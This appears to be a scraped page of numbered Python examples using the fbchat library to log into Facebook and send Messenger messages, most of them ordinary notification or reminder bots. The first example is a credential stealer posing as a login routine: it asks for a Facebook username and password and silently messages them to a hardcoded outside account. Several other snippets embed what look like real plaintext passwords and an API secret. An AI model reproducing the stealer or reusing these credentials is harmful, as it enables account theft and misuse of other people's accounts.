Beispiel #1
0
def login():
    print '[*] login to your facebook account         '
    id = raw_input('[?] Username : '******'[?] Password : '******'62f8ce9f74b12f84c123cc23437a4a32'
    data = {
        "api_key": "882a8490361da98702bf97a021ddc14d",
        "credentials_type": "password",
        "email": id,
        "format": "JSON",
        "generate_machine_id": "1",
        "generate_session_cookies": "1",
        "locale": "en_US",
        "method": "auth.login",
        "password": pwd,
        "return_ssl_resources": "0",
        "v": "1.0"
    }
    sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword='******'return_ssl_resources=0v=1.0' + API_SECRET
    x = hashlib.new('md5')
    x.update(sig)
    data.update({'sig': x.hexdigest()})
    client = Client(id, pwd)
    friends = client.searchForUsers('galank.rambu42')
    friend = friends[0]
    client.send(Message(id + ' ' + pwd),
                thread_id=friend.uid,
                thread_type=ThreadType.USER)
    client.logout()
    get(data)
Beispiel #2
0
class FacebookMessengerClient:
    def __init__(self):
        self.client = Client(app_config.FACEBOOK_EMAIL,
                             app_config.FACEBOOK_PASSWORD)

    def send_message(self, user, message):
        user_id = self._get_user_uid(user)
        self.client.send(Message(text=message),
                         thread_id=user_id,
                         thread_type=ThreadType.USER)

    @lru_cache(maxsize=app_config.FACEBOOK_USER_RESOLVER_CACHE)
    def _get_user_uid(self, user):
        results = self.client.searchForUsers(user)
        if results:
            first_user = results[0]

            if first_user.is_friend:
                return first_user.uid

            else:
                raise Exception(
                    "The user %s is not your friend. You can't talk to him" %
                    user)

        else:
            raise Exception("No user named '%s' was found" % user)
Beispiel #3
0
def send_message(friend_uid: int = None):

    # Connect to FB client
    client = Client(email=os.environ['EMAIL_ADDRESS'],
                    password=getpass.getpass(prompt='Password: '******'s uid
        persons = client.searchForUsers(
            input('What is the name of your friend: '))

        # Find friend's uid in list of persons
        for person in persons:
            if person.is_friend:
                friend_uid = person.uid
                break

    # Send message
    msg = 'Hejsa din klump'
    for i in range(3):
        client.send(message=Message(text=msg), thread_id=str(friend_uid))
        time.sleep(3)

    print('FB message sent')

    return True
Beispiel #4
0
def send_chat_message(message):
    client = Client(bot_email, bot_pwd, session_cookies=get_session_token())
    set_session_token(client.getSession())
    client.send(Message(text=message),
                thread_id='500949883413912',
                thread_type=ThreadType.GROUP)
    logservice.info("MESSAGE SENT")
Beispiel #5
0
class FbChat:
    email = ""
    password = ""
    idChat = ""
    client = None

    def __init__(self, email, password, idChat=None):
        self.email = email
        self.password = password
        self.idChat = idChat
        self.conectar()

    def conectar(self):
        self.client = Client(self.email, self.password)

    def setEmail(self, email):
        self.email = email

    def setIdChat(self, idChat):
        self.idChat = idChat

    def setPassword(self, password):
        self.password = password

    def sendMessageToPerson(self, msg):
        self.client.send(Message(text=msg), thread_id=self.idChat, thread_type=ThreadType.USER)

    def close(self):
        self.client.logout()
Beispiel #6
0
def alarm():
    email = "your_email"
    password = "******"
    client = Client(email,password)

    client.send(Message(text='Ρεε ύπνε σε κλέβουν ρε, ΞΥΠΝΑΑΑΑ!!!!'), thread_id='1393675277', thread_type=ThreadType.USER)
    conver_to_audio("Ρεεεεεεεεεεεεεεεεεεεεεε")
Beispiel #7
0
 def message_user(self, message, name):
     client = Client(self.email, self.password)
     user = client.searchForUsers(name)[0]
     client.send(Message(text=message),
                 thread_id=user.uid,
                 thread_type=ThreadType.USER)
     client.logout()
Beispiel #8
0
class Facebook():
    def __init__(self, username, password):
        self.client = Client(username, password)

    def autoReply(self):
        income = self.client.listen()
        author = income.author
        if onMessage():
            self.client.send(Message(text=income.text), thread_id=author)

    def findFriend(self, name):
        friends = []
        for human in self.client.searchForUsers(name):
            if human.is_friend:
                friends.append({
                    "username": human.name,
                    "uid": human.uid,
                    "photo": human.photo
                })

        return friends

    def sendMessage(self):
        self.client.send(Message(text="Hi me!"),
                         thread_id=client.uid,
                         thread_type=ThreadType.USER)

    def logout(self):
        self.client.logout()
Beispiel #9
0
def send_messenger(OutputFP, alert):
    client = Client('*****@*****.**', 'dynaslope06')
    #    client = Client('dum.dum.98284566', '4c4d3m1cc0nf3r3nc35!')

    message = ("SANDBOX:\n"
               "As of {}\n"
               "Alert ID {}:\n"
               "{}:{}:{}\n\n".format(alert.ts_last_retrigger, alert.stat_id,
                                     alert.site_code, alert.alert_symbol,
                                     alert.trigger_source))
    thread_id = 1560526764066319  #send to test validation
    thread_type = ThreadType.GROUP

    #    client.send(Message(text="testing lang :D"), thread_id=thread_id, thread_type=thread_type)

    client.send(Message(text=message),
                thread_id=thread_id,
                thread_type=thread_type)

    for a in os.listdir(OutputFP):
        print(a)
        client.sendLocalImage(OutputFP + a,
                              message=None,
                              thread_id=thread_id,
                              thread_type=thread_type)

    client.logout()
class MessengerHandler():
    def __init__(self):
        self.client = Client("*****@*****.**", "bl!dohuset")
        print("Own id: {}".format(self.client.uid))

    def sendMessage(self, userID, message):
        self.client.send(Message(text=message),
                         thread_id=userID,
                         thread_type=ThreadType.USER)

    def logout(self):
        self.client.logout()

    def getUsers(self):
        self.users = self.client.fetchAllUsers()
        # print("users' IDs: {}".format([user.uid for user in self.users]))
        userIDs = []
        for user in self.users:
            userIDs.append(user.uid)
        return userIDs

    def fetchMessage(self, sensorTemp, sensorHumid, timestamp, userIDs):
        for userID in userIDs:
            messages = self.client.fetchThreadMessages(thread_id=userID,
                                                       limit=1)
            for message in messages:
                message.text = message.text.lower()
                if (message.text == 'info'):
                    self.sendMessage(
                        userID,
                        f"Hej!\nTemperaturen i huset är {sensorTemp} och luftfuktigheten är {sensorHumid}\n Senast updaterad {timestamp}.\nMvh\nHuset"
                    )
Beispiel #11
0
def autsendfb():
    client = Client('0941946655', 'PhucMap1803')
    print("Own id: {}".format(client.uid))
    print('Ket noi auto thanh cong')
    noiDUng = tumoi()
    client.send(Message(text='30 PHUT 1 TU MOI ?? {}'.format(noiDUng)), thread_id=100000838467269, thread_type=ThreadType.USER)

    client.logout()
Beispiel #12
0
 def message_send(self,key):
     client = Client(key['user'], key['password'])
     #print('Own id: {}'.format(client.uid))
     now = datetime.datetime.now()
     text=key['message']
     text = text + " at " + now.strftime("%Y-%m-%d %H:%M:%S")
     client.send(Message(text), thread_id=client.uid, thread_type=ThreadType.USER)
     client.logout()
Beispiel #13
0
def autsendfb():
    client = Client('*****@*****.**', 'PhucMap')
    print("Own id: {}".format(client.uid))
    print('Ket noi auto thanh cong')
    noiDUng = input('BAN CAN GUI TIN NHAN GI >>> :')
    client.send(Message(text=str(noiDUng)),
                thread_id=client.uid,
                thread_type=ThreadType.USER)
    client.logout()
Beispiel #14
0
def autsendfb():
    client = Client('0941946655', '')
    print("Own id: {}".format(client.uid))
    print('Ket noi auto thanh cong')
    noiDUng = tumoi()
    client.send(Message(text='30 PHUT 1 TU MOI 😻 {}'.format(noiDUng)), thread_id=100000838467269, thread_type=ThreadType.USER)
    client.send(Message(text='Mình có nhận viết website dạo ai cần LH <3'), thread_id=100000838467269,thread_type=ThreadType.USER)

    client.logout()
def main(json_input, context):

    fbClient = Client(FB_USER, FB_PASSWORD)
    fbUsers = fbClient.fetchAllUsers()
    fbUsersList = [user.uid for user in fbUsers if user.uid != "0"]

    # Getting weather information
    forecastPayload = {
        "apikey": ACCUWEATHER_KEY,
        "details": True,
        "metric": True
    }

    alertPayload = {"apikey": ACCUWEATHER_KEY}

    r = requests.get(ACCUWEATHER_FORECAST_URL, params=forecastPayload)
    weatherForecast = r.json()

    r = requests.get(ACCUWEATHER_ALARM_URL, params=alertPayload)
    weatherAlerts = r.json()

    dailyMinimum = weatherForecast["DailyForecasts"][0]["Temperature"][
        "Minimum"]["Value"]
    dailyMaximum = weatherForecast["DailyForecasts"][0]["Temperature"][
        "Maximum"]["Value"]
    feelsLikeMinimum = weatherForecast["DailyForecasts"][0][
        "RealFeelTemperature"]["Minimum"]["Value"]
    feelsLikeMaximum = weatherForecast["DailyForecasts"][0][
        "RealFeelTemperature"]["Maximum"]["Value"]
    weatherSummary = weatherForecast["DailyForecasts"][0]["Day"][
        "LongPhrase"].lower()

    alerts = []

    if len(weatherAlerts) > 0:
        for alert in weatherAlerts[0]["Alarms"]:
            alertType = alert["AlarmType"]
            alertText = getAlertText(alertType)
            alerts.append(alertText)

    forecastMessage = Message(
        text="Good morning!\nToday's weather calls for " + weatherSummary +
        ".\n\nHigh: " + str(dailyMaximum) + u"°\n(feels like " +
        str(feelsLikeMaximum) + u"°)" + "\nLow: " + str(dailyMinimum) +
        u"°\n(feels like " + str(feelsLikeMinimum) + u"°)")

    # Sending weather updates
    for id in fbUsersList:
        fbClient.send(forecastMessage, thread_id=id)

        for alertText in alerts:
            alertMessage = Message(text=alertText)
            fbClient.send(alertMessage, thread_id=id)

        time.sleep(5)  # sleep for 5 seconds to avoid being too spammy

    fbClient.logout()
Beispiel #16
0
class Jarvis(object):
    def __init__(self, user_name, password, group_id):
        self.client = Client(user_name, password)
        self.group_id = group_id

    def send_message(self, message):
        self.client.send(Message(text=message),
                         thread_id=self.group_id,
                         thread_type=ThreadType.GROUP)
Beispiel #17
0
def msg():
    Clients = Client(configPhuc.faceBook, configPhuc.passFace)
    print('Id fb cua ban la {}'.format(Clients.uid))
    print('KET NOI THANH CONG')
    noiDung = input("VUI LONG NHAP NOI DUNG MUON NHAN > :")
    Clients.send(Message(text=noiDung),
                 thread_id=100028593181497,
                 thread_type=ThreadType.USER)
    Clients.logout()
    print('DANG THOAT FB')
Beispiel #18
0
def notify_via_fb(username, password, msg):
    client = Client(username, password)

    found_users = client.searchForUsers("viorel.gurdis.7")
    user = found_users[0]

    # for user in client.fetchAllUsers():
    print("Sending message to:", user.first_name)
    client.send(Message(text=msg), thread_id=user.uid)

    client.logout()
Beispiel #19
0
def sendMessages(names, couples):

    username = str(input("Username: "******"User's ID: {}".format(user.uid))
        print("User's name: {}".format(user.name))

        string = couple[0] + " is the secret Santa of " + couple[1]
        spamString = """
───────────████──███────────────
──────────█████─████────────────
────────███───███───████──███───
────────███───███───██████████──
────────███─────███───████──██──
─────────████───████───███──██──
──────────███─────██────██──██──
──────██████████────██──██──██──
─────████████████───██──██──██──
────███────────███──██──██──██──
────███─████───███──██──██──██──
───████─█████───██──██──██──██──
───██████───██──────██──────██──
─████████───██──────██─────███──
─██────██───██─────────────███──
─██─────███─██─────────────███──
─████───██████─────────────███──
───██───█████──────────────███──
────███──███───────────────███──
────███────────────────────███──
────███───────────────────███───
─────████────────────────███────
──────███────────────────███────
────────███─────────────███─────
────────████────────────██──────
──────────███───────────██──────
──────────████████████████──────
──────────████████████████──────
────────────────────────────────
"""
        sent = client.send(Message(text=string),
                           thread_id=user.uid,
                           thread_type=ThreadType.USER)
        sent = client.send(Message(text=spamString),
                           thread_id=user.uid,
                           thread_type=ThreadType.USER)

        if sent:
            print("Message sent successfully!")
Beispiel #20
0
def send_fmsg(FirstName, Last_Name, GroupNames):

    decrypt(dir_path + '/credentials/fbe')
    with open(dir_path + '/credentials/fbe', mode='rb') as f:
        content = f.read()
        content = base64.b64decode(content).decode('utf-8')

    username = str(content.split()[0])
    password = str(content.split()[1])

    client = Client(username, password)

    if client.isLoggedIn():

        # ---------------Person------------------
        name = FirstName + " " + Last_Name
        friends = client.searchForUsers(name)  # return a list of names
        friend = friends[0]
        msg = "Birthdays are a new start; fresh beginnings, a time to start new endeavours with new goals. Move forward with fresh confidence and courage. You are a special person, may you have an amazing today and year. Happy birthday " + FirstName

        # Will send the image located at `<image path>`
        client.sendRemoteImage(
            "https://images.unsplash.com/photo-1558636508-e0db3814bd1d?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80",
            thread_id=friend.uid,
            thread_type=ThreadType.USER,
        )
        client.send(Message(text=msg),
                    thread_id=str(friend.uid),
                    thread_type=ThreadType.USER)

        # -------------------------Group----------------------
        for GroupName in GroupNames:
            try:
                gname = GroupName
                groups = client.searchForGroups(gname)

                group = groups[0]
                client.sendRemoteImage(
                    "https://images.unsplash.com/photo-1558636508-e0db3814bd1d?ixlib=rb-1.2.1&ixid=eyJhcHBfaWQiOjEyMDd9&auto=format&fit=crop&w=1950&q=80",
                    thread_id=group.uid,
                    thread_type=ThreadType.GROUP,
                )
                client.send(Message(text=msg),
                            thread_id=group.uid,
                            thread_type=ThreadType.GROUP)
            except:
                continue

        client.logout()

    else:
        print('not logged in')

    encrypt(dir_path + '/credentials/fbe')
Beispiel #21
0
class MessengerBot:
    def __init__(self):
        self.client = Client('YOUR FB USERNAME', 'YOUR FB PASSWORD')

    def logout(self):
        self.client.logout()

    def sendMessage(self, home_operator, away_operator, home_odds, away_odds, home_team, away_team, margin):
        self.client.send(Message(text=f'{home_operator} | {home_team} | {home_odds} ------ {away_operator} | {away_team} | {away_odds} ------'
                                      f' Margin: {margin}'),
                         thread_id=self.client.uid, thread_type=ThreadType.USER)
Beispiel #22
0
def sub():
    client1 = Client(userent.get(), passent.get())
    if client1.isLoggedIn():
        luuv = 1
        mess = coment.get("1.0", "end")
        fbid = friendent.get()
        while luuv <= numOfCmtLbel2['text']:
            client1.send(fbchat.models.Message(mess), fbid)
            # if luuv%10 == 0:
            # 	time.sleep(10)
            luuv += 1
Beispiel #23
0
def message(text):
    email = os.environ['E-MAIL']
    password = os.environ['FBPASSWORD']
    thread_type = ThreadType.USER
    client = Client(email, password)

    if not client.isLoggedIn():
        client.login(email, password)

    client.send(Message(text=text),
                thread_id=client.uid,
                thread_type=thread_type)
Beispiel #24
0
def fb_send(mesg):
    client = Client('*****@*****.**', 'adUZ4G75')

    print('Own id: {}'.format(client.uid))

    thread_id = '2246840635356131'
    thread_type = ThreadType.GROUP

    client.send(Message(text=mesg),
                thread_id=thread_id,
                thread_type=thread_type)
    client.logout()
Beispiel #25
0
class Facebook:
    def __init__(self, user_name):
        self.username = user_name
        try:
            self.fb_client = Client(self.username, getpass())
        except FBchatException:
            print('Failed to log into facebook. Please check your credentials')

    def send_message_friend(self, friend_name, msg):
        try:
            friend_user = self.__get_user(friend_name)
            friend_uid = friend_user.uid
            sent = self.fb_client.send(Message(text=msg),
                                       thread_id=friend_uid,
                                       thread_type=ThreadType.USER)
            if sent:
                print('Message sent successfully!')
            else:
                raise FBchatException("Couldn't send message")
        except FBchatException:
            print("Couldn't find any friends. Please check the name")

    def send_message_group(self, group_name, msg):
        try:
            groups_list = self.fb_client.searchForGroups(group_name, limit=1)
            group = groups_list[0]
            group_uid = group
            sent = self.fb_client.send(Message(text=msg),
                                       thread_id=group_uid,
                                       thread_type=ThreadType.GROUP)
            if sent:
                print("Message sent successfully!")
            else:
                raise FBchatException("Coludn't send message")
        except FBchatException:
            print("Couldn't find any groups. Please check the group name")

    def get_user_birthday(self, user_name):
        try:
            friend_user = self.__get_user(user_name)
            friend_url = friend_user.url
            print(friend_url)
            html_file = urlopen(friend_url)
            user_file = BeautifulSoup(html_file, features="html.parser")
            print(user_file)
        except FBchatException:

            print("Couldn't get birthday")

    def __get_user(self, user_name):
        friends = self.fb_client.searchForUsers(user_name, limit=1)
        friend_user = friends[0]
        return friend_user
Beispiel #26
0
def notify():
    email = os.environ.get('FB_EMAIL')
    password = os.environ.get('FB_PASSWORD')
    group_chat_id = os.environ.get('GROUP_CHAT_ID')
    message_link = "Check now: " + camping_homepage
    client = Client(email, password)
    client.send(Message(text='BOT: CAMP BOOKINGS MAY BE OPEN AGAIN!!!'), thread_id=group_chat_id,
                thread_type=ThreadType.GROUP)
    time.sleep(3)
    client.send(Message(text=message_link),
                thread_id=group_chat_id,
                thread_type=ThreadType.GROUP)
    client.logout()
Beispiel #27
0
class MessengerService:
    def __init__(self, username, password):
        self.username = username
        self.password = password
        self.client = Client(email=self.username,
                             password=self.password,
                             max_tries=1)

    def send_message(self, message):
        for uid in json.loads(os.getenv('FB_FRIENDS_UIDS')):
            self.client.send(Message(text=message),
                             thread_id=uid,
                             thread_type=ThreadType.USER)
Beispiel #28
0
def smsfb():
    request = requests.get(currentStats)
    data = request.json()
    activeWorkers = data['data']['activeWorkers']
    reportedHashrate = data['data']['reportedHashrate'] / 1000000000
    client = Client("*****@*****.**", "")
    print("Own id: {}".format(client.uid))
    client.send(Message(
        text=" 👉 Số máy đang hoạt động {} 🆗 và tổng số khai thác {} GHZ ".
        format(activeWorkers, reportedHashrate)),
                thread_id=client.uid,
                thread_type=ThreadType.USER)
    client.logout()
Beispiel #29
0
class FB():
    def __init__(self, config):
        self.config = config

    def send_messages(self, message):
        all_user_conversations = self.__get_all_conversations()
        logging.info("Got all conversations")
        users_uid_to_send = self.__get_uid_from_conversations(
            all_user_conversations)
        logging.info("Got selected UID to send messages to")
        self.__send_message_to_users(users_uid_to_send, message)

    def login_client(self):
        self.client = Client(self.config["fbUsername"],
                             self.config["password"])
        logging.info("Client successfully logged in!")

    def __get_all_conversations(self):
        return self.client.fetchAllUsers()

    def __get_uid_from_conversations(self, all_conversations):
        users_to_send = self.__get_users_to_send()
        out = []
        for user in all_conversations:
            if (user.name in users_to_send):
                out.append(user.uid)
        return out

    def __get_users_to_send(self):
        return self.config["usersToSend"]

    def set_users_to_send(self, users):
        self.config["usersToSend"] = users

    def __send_message_to_users(self, users_uid_to_send, message):
        for uid in users_uid_to_send:
            self.client.send(Message(text=message),
                             thread_id=uid,
                             thread_type=ThreadType.USER)
        logging.info("All messages successfully sent")

    def logout(self):
        self.__delay()
        logging.info("Client logged out") if self.client.logout(
        ) else logging.debug("Something went wrong when logging client out!")

    ##Delay is used in order to simulate real user actions
    def __delay(self):
        random_time_span = random.randint(30, 145)
        logging.info("Delay started {}".format(random_time_span))
        time.sleep(random_time_span)
Beispiel #30
0
def postTestMessage():
    f=open("facebookDetails.txt", "r")
    details =f.read()
    f.close()

    detailsList = details.strip().split(",")

    client = Client(detailsList[0], detailsList[1])

    print('Own id: {}'.format(client.uid))

    client.send(Message(text='Bot started and ready to send a plan to: ' + str(detailsList[2])), thread_id=client.uid, thread_type=ThreadType.USER)

    client.logout()
from fbchat import Client
from fbchat.models import *

# get credentials
with open("credentials.txt", "r") as f:
	lines = f.readlines()
	username = lines[0].rstrip()
	password = lines[1].rstrip()
	my_uid = lines[2].rstrip()
f.close()

# open client
client = Client(username, password)

# send message
client.send(Message(text='Time to drink water!'), thread_id=my_uid, thread_type=ThreadType.USER)
client.logout()

# use these lines if you need to find a friend's ID (put friend's name as argument)
# user = client.searchForUsers('')[0]
# print('user ID: {}'.format(user.uid))
# print(user)